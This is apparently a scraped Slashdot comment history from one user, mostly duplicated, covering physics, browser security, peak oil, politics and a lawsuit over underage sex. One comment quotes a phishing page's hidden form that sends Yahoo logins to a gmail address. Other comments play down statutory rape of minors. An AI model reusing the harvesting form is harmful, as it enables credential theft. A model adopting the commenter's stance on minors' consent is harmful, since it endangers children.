If particles can be entangled, isn't it more reasonable to assume that most particles are entangled (assuming the Big Bang thingy holds), and the observer happens to observe things as they are because the observer and the object are entangled in a way that allows for that particular "reasonably consistent" observation, and not because the object magically "collapses" states just because the observer happens to look.
Maybe my view involves less magical thinking than you think.
Take the two slit light beam interference experiment. Why should the observer hold such a special place assuming the observer is also part of the same universe?
Basically I suggest that the math and laws should include the observer and not just the beams, and on fairly equal footing too!
Y'know unauthorized modification of a computer system and all that stuff?
Tampering with 1 million computers without permission and AFAIK without good reason. Isn't that a serious criminal offense?
That's what annoys me the most about all those "antihacker" crusades. Don't the same laws apply to spyware, unauthorized adware etc? Even Sony's DRM crap.
But no, the FBI and other authorities round the world seem to prefer trying to jail people who are pretty harmless (like that brit looking for UFOs).
If directors/owners of companies doing such stuff were sent to jail (or even seriously threatened with jail), you'd see a lot less spyware or nasty adware around.
Instead there's one law for the small stupid amateur and another law for the incorporated pros.
And that is the real reason why there's so much spyware around. Not because users are clueless (even though they are) or click on attachments without thinking.
Current popular browsers don't allow users to easily know that they are not connecting to the correct "citibank" site.
They just show that stupid padlock icon. And when I last checked, by default there are tons of CA certs installed by default in most browsers. And the users get the same padlock for all certs issued by those CAs.
Whereas if you had say an orange padlock = encrypted but untrusted/unknown site, and blue padlock = user's favourite encrypted financial transaction site then that helps a lot, and the browser also could easily do what ssh has been doing for years.
The browsers should also render the fingerprint of the site's keys in a coloured pattern next to the "padlock" or something. Could be each nybble of the fingerprint = a different colour out of 16 colours. After a while people would hopefully associate the colour pattern with the site. Requiring users to click on the stupid padlock in order to check the CA chains etc is ridiculous. Even savvy users will find that annoying.
It would be hard to save users who are oblivious to all that, but I claim that currently not enough has been done.
But from my experience web browser makers (like most people) aren't really interested in security at all. Because they could mitigate many browser security problems by allowing a special install mode where much of the browser code runs under a different UID/user, one that has very little permissions, while at the same time allow downloads to be saved to the user's directory etc. example: javascript/java/activex/plugin crap and renderers all run as _www_<username>, and the parts in charge of bookmarks and downloads run as <username>, and the parts in charge of "execute the url" are disabled by default. If anyone says that is too difficult, I'd like to point out that many browsers already have a "download manager".
That structure? That's God's smile (he's probably trying not to chuckle too loud at the moment).
That said, could our motion actually influence the observation?
But yeah, I found that bit quite interesting. And the other bit about x*10^120 and y*10^120 _nearly_ cancelling each other out.
Maybe we are really that exceptional, but if so, are we exceptionally significant or exceptionally insignificant?
Or we are a superposition of both and whether we end up constructively interfering with God or destructively interfering with God determines the final "observation".;).
Where'd they get the energy to produce turkey guts and run the plant?
You'd find that quite a lot of it comes from oil.
If the oil prices go up, sure this becomes cheaper than oil, but the main worry about "peak oil" is that _energy_ becomes expensive, and I really doubt synthetic oil from turkey guts etc will give you a great enough supply of cheap energy.
The difference between cheap and expensive energy is the difference between a tropical rainforest and the Arctic. The first has all sorts of animals that manage to survive even though they do silly stuff, the second is a lot harsher and more suitable for efficient killers like the orca.
If you look at the economy of the USA you'd find it is more like a tropical rainforest - lots of companies selling silly gadgets but manage to survive because selling and transporting them to customers who want them is easy and cheap.
But what you say so far seems irrelevant to whether "Peak Oil" is a fraud or not (unless someone can figure out ways to boost oil production significantly based on better understanding of the oil creation process).
The main issue is whether consumption is higher than production.
If the oil fields can't be refilled with oil at a high enough rate to sustain our consumption by whatever process, it doesn't really matter - there will be a "Peak Oil".
And unless you have other evidence, I believe the major oil fields are not refilling with oil as fast as we are pumping it out, and so there will be a "Peak Oil" - unless we can find so many new fields that the net refill rate will outweigh our net consumption rate...
Well if they have solved the "best route between 2 points" the next problem is figuring out which point is the best to actually go to from the current point.
Seriously, I thought the whole idea of IT is that you replace masses of "mindless" labour with computers. You don't really need that many people. And it is better that you don't have that many people doing IT stuff, because it is actually quite painfully obvious that most people aren't very good at it.I don't really think it's such an important industry either.
There are far more important and genuine problems India faces.
Article is crap.
Check the statement out: "2.5 million Indian children die annually, accounting for one out of every five child deaths worldwide"
Well, roughly 1 out of every 5 people worldwide is Indian, so they're doing average. The average is not good, but try getting 1+ billion people above average. No "A"s but not an "F" if you grade on a curve.
IMO even the USA isn't doing well either in terms of culture, lifestyle, safety, corruption etc. I'd think places like Denmark, Netherlands are magnitudes better. But it's usually easier for small homogeneous societies - and India isn't one of those (well each Indian village/town is probably one of those societies - so there must be one or two stellar villages;) ).
Question #1 "Given a description of a project and its initial business requirements determine whether the project when started, ever halts (completes). The alternative is that it runs forever without halting."
Question #2 For a project that has been determined in advance to halt, determine also how long it will run before halting without actually starting it.
Question #3? Ah for this "bonus" question you're supposed to provide the estimate first before you see the question. Otherwise no bonus for you...;)
That said while I agree with you that "cp -a" et all should take care of "similar tasks", in the real world, some stuff can be estimated. While there are no non-lossy compression algorithms that can compress everything, there are compression algorithms that can compress most programs in use in the real world.
And most people seem to be reinventing the wheel everyday (and getting patents for them too - sheesh).
Uh, that's silly. You have thousands of guards, how can you afford to do that when you'd rather spend lavish sums on doing more fun emperor stuff - like palaces, concubines, toys etc?
What an Emperor should do is find a few trusted and competent people. Then you use those to test the guards. Execute the guards that fail.
Saddam Hussein used to do that sort of thing - he'd have his trusted people stage a fake rebellion in the middle of the night, they'd wake up a bunch of targets and say they are rebelling against Saddam, and that if the targets don't join them, the targets will be shot immediately.
But actually any of the targets that say they'd join would then be executed.
When that sort of thing keeps happening, even if you weren't loyal, you'd _act_ loyal practically all the time. Even if >50% are disloyal, they'd probably still execute the disloyal ones (they wouldn't know that the majority actually were disloyal- who would dare say it?).
The guards/staff physically close enough to assassinate Saddam would after so many iterations be 100% loyal.
If I were an evil terrorist (I'm not) and had only _one_ nuke and wanted to cause the most damage to the USA, I wouldn't nuke any place in the USA. After all you can blow away the east/west hand of the USA and it will do OK (it sure won't like it but it will do ok - not both hands though), you can blow away the rotting septic head of the USA and it might even do better!
But that said, the people you have the most to fear from are already ruling/controlling your country. They were and are the greatest danger to the rest of the world too. And most of you dumbasses believed that "Saddam/Iraq is the enemy" crap.
What could Saddam do to you, stuck in Iraq? What can Osama do to you stuck in hiding? What can your leaders do to you stuck in Power?
This bank database thing is just an example of what your gov could and is doing. If you don't like it you better start doing something about it. They sure don't look like they are easily discouraged.
There's a big difference between consent and not, even if it's not legal consent.
Go ask any person who has been forcibly raped before (you know what I mean, skip the legal definition of rape crap please).
The age of consent varies from country to country, so that's a bit arbitrary as it is. In other countries homosexual sex is illegal even if participants are consenting adults[1]. Also some countries certain forms of sexual practices between consenting adults is illegal (even if heterosexual).
So even if it is a crime, I view it as a different sort of crime.
Of course one could say that stuff like that affects the whole of society, it doesn't just involve the participants/directly involved alone. Nations have been punished just because of the actions of a few. But my guess is most people don't like that sort of thing (do you?).
Maybe if the alleged "victim" (assume she) says it was consensual (just not legal) I think it would be fairer to wait till she reaches her age of consent for her to redecide in hindsight whether it was consensual or not, meanwhile the guy probably has to pay a big bond, and be kept away from her of course. If she decides it's not, the guy goes to jail and the victim gets part/all of the bond in compensation (so the guys have to be careful - they could screwed twice by the girl).
The younger she is, the longer the parents have to try to erm "influence" her opinion of the guy... If for some reason the parents and girl all approve, the guy gets lucky.
[1] What next? MySpace gets sued for allowing that too?
Seems the mum is the one who is suing. So I'm not even certain that it wasn't consensual at that time.
Apparently it is common for underaged sex to be automatically considered "assault" or rape.
However that seems untruthful and unfair to me. It is irresponsible and unwise of course. Now maybe if they both went to the trouble to get married with their parents approval then that _might_ be fine (not always, given the many examples of stupid parents this scenario being one).
Otherwise they should just wait till they can legally tell their parents to mind their own business and get married without consent- by which point the parents should figure that if the two could wait that long the marriage has an above average chance (given the current dismal averages).
Whatever it is, seems the mother is not fit to be a parent at all.
Slashdot Mirror
If particles can be entangled, isn't it more reasonable to assume that most particles are entangled (assuming the Big Bang thingy holds), and the observer happens to observe things as they are because the observer and the object are entangled in a way that allows for that particular "reasonably consistent" observation, and not because the object magically "collapses" states just because the observer happens to look.
Maybe my view involves less magical thinking than you think.
Take the two slit light beam interference experiment. Why should the observer hold such a special place assuming the observer is also part of the same universe?
Basically I suggest that the math and laws should include the observer and not just the beams, and on fairly equal footing too!
Y'know unauthorized modification of a computer system and all that stuff?
Tampering with 1 million computers without permission and AFAIK without good reason. Isn't that a serious criminal offense?
That's what annoys me the most about all those "antihacker" crusades. Don't the same laws apply to spyware, unauthorized adware etc? Even Sony's DRM crap.
But no, the FBI and other authorities round the world seem to prefer trying to jail people who are pretty harmless (like that brit looking for UFOs).
If directors/owners of companies doing such stuff were sent to jail (or even seriously threatened with jail), you'd see a lot less spyware or nasty adware around.
Instead there's one law for the small stupid amateur and another law for the incorporated pros.
And that is the real reason why there's so much spyware around. Not because users are clueless (even though they are) or click on attachments without thinking.
Uh, why wouldn't open GL work on windows vista?
fastcgi out of date? It still works well.
It's a simple and fairly clean way to accelerate CGI style apps. It's so simple it doesn't usually need to be changed even if your webserver changes.
You can run your fastcgi apps on apache and zeus.
The apache mod_xxx stuff is more likely to give you problems.
Ah but what if mom is the first particle and baby is the second particle.
They'd both be entangled and share states.
But if you conduct an experiment the wrong way you might not be able to observe that.
Episodic posting eh?
Uh they are picking good headlines.
That's a very British/UK style of doing headlines. Look at the other UK media stuff for examples.
The Inquirer has that style too, and lots of people don't seem to understand it.
The usernames and passwords might go to a gmail account, but not sure it actually does or not - depends on the mailto.cgi.
_ good/index.html">
Extract:
<FORM METHOD="POST" ACTION="http://www2.fiberbit.net/form/mailto.cgi" ENCTYPE="x-www-form-urlencoded">
<INPUT TYPE="hidden" NAME="Mail_From" VALUE="Yahoo">
<INPUT TYPE="hidden" NAME="Mail_To" VALUE="havinfunfun@gmail.com">
<INPUT TYPE="hidden" NAME="Mail_Subject" VALUE="Yahoo id">
<INPUT TYPE="hidden" NAME="Next_Page" VALUE="http://www.geocities.com/got_milf.does_you
Current popular browsers don't allow users to easily know that they are not connecting to the correct "citibank" site.
They just show that stupid padlock icon. And when I last checked, by default there are tons of CA certs installed by default in most browsers. And the users get the same padlock for all certs issued by those CAs.
Whereas if you had say an orange padlock = encrypted but untrusted/unknown site, and blue padlock = user's favourite encrypted financial transaction site then that helps a lot, and the browser also could easily do what ssh has been doing for years.
The browsers should also render the fingerprint of the site's keys in a coloured pattern next to the "padlock" or something. Could be each nybble of the fingerprint = a different colour out of 16 colours. After a while people would hopefully associate the colour pattern with the site. Requiring users to click on the stupid padlock in order to check the CA chains etc is ridiculous. Even savvy users will find that annoying.
It would be hard to save users who are oblivious to all that, but I claim that currently not enough has been done.
But from my experience web browser makers (like most people) aren't really interested in security at all. Because they could mitigate many browser security problems by allowing a special install mode where much of the browser code runs under a different UID/user, one that has very little permissions, while at the same time allow downloads to be saved to the user's directory etc. example: javascript/java/activex/plugin crap and renderers all run as _www_<username>, and the parts in charge of bookmarks and downloads run as <username>, and the parts in charge of "execute the url" are disabled by default. If anyone says that is too difficult, I'd like to point out that many browsers already have a "download manager".
Yeah well, so maybe we are looking at things backwards.
;).
Our "visible universe" is the "empty space".
We're the 1/10^120 ripples of imperfection in a (assuming a pattern) small part of a greater universe.
So even if scientists figure out the rules governing our 1/10^120 bit of the "universe", good luck figuring out everything.
This "our visible universe is the centre of the universe" thinking has got to stop
That structure? That's God's smile (he's probably trying not to chuckle too loud at the moment).
;).
That said, could our motion actually influence the observation?
But yeah, I found that bit quite interesting. And the other bit about x*10^120 and y*10^120 _nearly_ cancelling each other out.
Maybe we are really that exceptional, but if so, are we exceptionally significant or exceptionally insignificant?
Or we are a superposition of both and whether we end up constructively interfering with God or destructively interfering with God determines the final "observation".
Where'd they get the energy to produce turkey guts and run the plant?
You'd find that quite a lot of it comes from oil.
If the oil prices go up, sure this becomes cheaper than oil, but the main worry about "peak oil" is that _energy_ becomes expensive, and I really doubt synthetic oil from turkey guts etc will give you a great enough supply of cheap energy.
The difference between cheap and expensive energy is the difference between a tropical rainforest and the Arctic. The first has all sorts of animals that manage to survive even though they do silly stuff, the second is a lot harsher and more suitable for efficient killers like the orca.
If you look at the economy of the USA you'd find it is more like a tropical rainforest - lots of companies selling silly gadgets but manage to survive because selling and transporting them to customers who want them is easy and cheap.
Make lots of backups ;).
He said "survive" didn't he?
But what you say so far seems irrelevant to whether "Peak Oil" is a fraud or not (unless someone can figure out ways to boost oil production significantly based on better understanding of the oil creation process).
The main issue is whether consumption is higher than production.
If the oil fields can't be refilled with oil at a high enough rate to sustain our consumption by whatever process, it doesn't really matter - there will be a "Peak Oil".
And unless you have other evidence, I believe the major oil fields are not refilling with oil as fast as we are pumping it out, and so there will be a "Peak Oil" - unless we can find so many new fields that the net refill rate will outweigh our net consumption rate...
You got your priorities all wrong.
;).
Think about the benefits to the _entire_world_ if we start actually sending mostly _politicians_ to space.
One way.
Start some Reality TV show ala Survivor. And the most disliked politician gets voted off the planet...
My friend hasn't quite got round to it so www.voteofftheplanet.com isn't up yet
Well if they have solved the "best route between 2 points" the next problem is figuring out which point is the best to actually go to from the current point.
Seriously, I thought the whole idea of IT is that you replace masses of "mindless" labour with computers. You don't really need that many people. And it is better that you don't have that many people doing IT stuff, because it is actually quite painfully obvious that most people aren't very good at it.I don't really think it's such an important industry either.
;) ).
There are far more important and genuine problems India faces.
Article is crap.
Check the statement out: "2.5 million Indian children die annually, accounting for one out of every five child deaths worldwide"
Well, roughly 1 out of every 5 people worldwide is Indian, so they're doing average. The average is not good, but try getting 1+ billion people above average. No "A"s but not an "F" if you grade on a curve.
IMO even the USA isn't doing well either in terms of culture, lifestyle, safety, corruption etc. I'd think places like Denmark, Netherlands are magnitudes better. But it's usually easier for small homogeneous societies - and India isn't one of those (well each Indian village/town is probably one of those societies - so there must be one or two stellar villages
The zero tolerance HR people should be sacked - zero tolerance for such people ;).
Question #1 "Given a description of a project and its initial business requirements determine whether the project when started, ever halts (completes). The alternative is that it runs forever without halting."
;)
Question #2 For a project that has been determined in advance to halt, determine also how long it will run before halting without actually starting it.
Question #3? Ah for this "bonus" question you're supposed to provide the estimate first before you see the question. Otherwise no bonus for you...
That said while I agree with you that "cp -a" et all should take care of "similar tasks", in the real world, some stuff can be estimated. While there are no non-lossy compression algorithms that can compress everything, there are compression algorithms that can compress most programs in use in the real world.
And most people seem to be reinventing the wheel everyday (and getting patents for them too - sheesh).
Uh, that's silly. You have thousands of guards, how can you afford to do that when you'd rather spend lavish sums on doing more fun emperor stuff - like palaces, concubines, toys etc?
What an Emperor should do is find a few trusted and competent people. Then you use those to test the guards. Execute the guards that fail.
Saddam Hussein used to do that sort of thing - he'd have his trusted people stage a fake rebellion in the middle of the night, they'd wake up a bunch of targets and say they are rebelling against Saddam, and that if the targets don't join them, the targets will be shot immediately.
But actually any of the targets that say they'd join would then be executed.
When that sort of thing keeps happening, even if you weren't loyal, you'd _act_ loyal practically all the time. Even if >50% are disloyal, they'd probably still execute the disloyal ones (they wouldn't know that the majority actually were disloyal- who would dare say it?).
The guards/staff physically close enough to assassinate Saddam would after so many iterations be 100% loyal.
I am not a physicist nor a US citizen.
If I were an evil terrorist (I'm not) and had only _one_ nuke and wanted to cause the most damage to the USA, I wouldn't nuke any place in the USA. After all you can blow away the east/west hand of the USA and it will do OK (it sure won't like it but it will do ok - not both hands though), you can blow away the rotting septic head of the USA and it might even do better!
But that said, the people you have the most to fear from are already ruling/controlling your country. They were and are the greatest danger to the rest of the world too. And most of you dumbasses believed that "Saddam/Iraq is the enemy" crap.
What could Saddam do to you, stuck in Iraq? What can Osama do to you stuck in hiding? What can your leaders do to you stuck in Power?
This bank database thing is just an example of what your gov could and is doing. If you don't like it you better start doing something about it. They sure don't look like they are easily discouraged.
How are you quoting those strings? Are you using bind variables and "prepare"? If you are then its a bug in DBD.
Yeah, but maybe you miss my main point.
There's a big difference between consent and not, even if it's not legal consent.
Go ask any person who has been forcibly raped before (you know what I mean, skip the legal definition of rape crap please).
The age of consent varies from country to country, so that's a bit arbitrary as it is. In other countries homosexual sex is illegal even if participants are consenting adults[1]. Also some countries certain forms of sexual practices between consenting adults is illegal (even if heterosexual).
So even if it is a crime, I view it as a different sort of crime.
Of course one could say that stuff like that affects the whole of society, it doesn't just involve the participants/directly involved alone. Nations have been punished just because of the actions of a few. But my guess is most people don't like that sort of thing (do you?).
Maybe if the alleged "victim" (assume she) says it was consensual (just not legal) I think it would be fairer to wait till she reaches her age of consent for her to redecide in hindsight whether it was consensual or not, meanwhile the guy probably has to pay a big bond, and be kept away from her of course. If she decides it's not, the guy goes to jail and the victim gets part/all of the bond in compensation (so the guys have to be careful - they could screwed twice by the girl).
The younger she is, the longer the parents have to try to erm "influence" her opinion of the guy... If for some reason the parents and girl all approve, the guy gets lucky.
[1] What next? MySpace gets sued for allowing that too?
According to this: http://news.com.com/2060-10802_3-0.html?tag=nefd.b l
Seems the mum is the one who is suing. So I'm not even certain that it wasn't consensual at that time.
Apparently it is common for underaged sex to be automatically considered "assault" or rape.
However that seems untruthful and unfair to me. It is irresponsible and unwise of course. Now maybe if they both went to the trouble to get married with their parents approval then that _might_ be fine (not always, given the many examples of stupid parents this scenario being one).
Otherwise they should just wait till they can legally tell their parents to mind their own business and get married without consent- by which point the parents should figure that if the two could wait that long the marriage has an above average chance (given the current dismal averages).
Whatever it is, seems the mother is not fit to be a parent at all.
It has findstr, which works tolerably for most cases. In the other cases oh well ;).